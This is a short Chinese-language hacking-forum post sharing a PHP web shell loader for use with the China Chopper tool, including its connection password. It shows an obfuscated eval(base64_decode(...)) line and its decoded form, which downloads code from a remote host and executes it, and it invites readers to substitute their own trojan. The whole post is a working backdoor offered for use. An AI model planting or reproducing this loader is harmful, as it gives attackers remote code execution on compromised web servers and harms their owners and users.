首先感谢土司大佬:Math_random
上代码---注意菜刀链接密码为:ximcx
<?php $x="BaSe64"; $b="_deCOde"; $c=$x.$b; eval($cc = $c('JGhhbmRsZSA9IGZvcGVuKCdodHRwOi8veGltY3guY24vMi50eHQnLCAncicpOw0KICAgICRjb250ZW50ID0gJyc7DQogICAgd2hpbGUoZmFsc2UgIT0gKCRhID0gZnJlYWQoJGhhbmRsZSwgODA4MCkpKXsNCiAgICAgICAgJGNvbnRlbnQgLj0gJGE7DQogICAgfQ0KCWV2YWwoJGEgPSAkY29udGVudCk7DQpmY2xvc2UoJGhhbmRsZSk7')); ?>
上述代码中加密部分为base64加密,里面的远程马可以改为你自己的大马,或者小马
$handle = fopen('http://ximcx.cn/2.txt', 'r'); $content = ''; while(false != ($a = fread($handle, 8080))){ $content .= $a; } eval($a = $content); fclose($handle);